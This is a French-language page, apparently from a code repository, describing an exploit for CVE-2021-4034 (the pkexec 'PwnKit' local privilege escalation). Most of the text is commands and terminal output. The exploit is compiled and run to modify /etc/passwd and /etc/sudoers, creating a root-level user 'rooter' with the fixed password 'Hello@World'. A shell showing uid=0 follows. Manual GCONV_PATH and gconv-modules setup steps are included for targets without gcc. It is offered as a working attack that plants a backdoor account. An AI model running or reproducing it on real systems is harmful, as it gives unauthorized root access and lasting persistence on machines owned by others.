rvn0xsy/cve-2021-4034Exploit pour CVE-2021-4034 (pkexec) qui ajoute un utilisateur root avec les privilèges sudo. Inclut les étapes d'exploitation manuelle et compile pwnkit.so pour l'élévation de privilèges locale.
CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation
Amélioré à partir de CVE-2021-4034, l'exécution de l'Exploit ajoutera par défaut le nom d'utilisateur rooter, le mot de passe Hello@World, et l'utilisateur rooter disposera des privilèges sudo.
Référence à CVE-2021-4034, l'exécution de l'Exploit ajoutera le nom d'utilisateur rooter, le mot de passe Hello@World par défaut, et l'utilisateur rooter disposera des privilèges sudo.
test@some:~$ gcc cve-2021-4034.c -o ./exp
test@some:~$ ./exp
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!
[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!
[+]Add Root User Success...
test@some:~$ su rooter
Password:
root@some:/home/test# id
uid=0(root) gid=0(root) groups=0(root)
root@some:/home/test#
Si l'environnement cible ne dispose pas de gcc, vous pouvez exécuter les commandes manuellement et compiler pwnkit.so localement.
$ mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'
$ mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules
$ mkdir pwnkit
$ gcc pwnkit.so.c -o pwnkit/pwnkit.so -lcrypt -shared -fPIC
$ gcc pkexec.c -o pkexec
$ ./pkexec
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!
[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!
[+]Add Root User Success...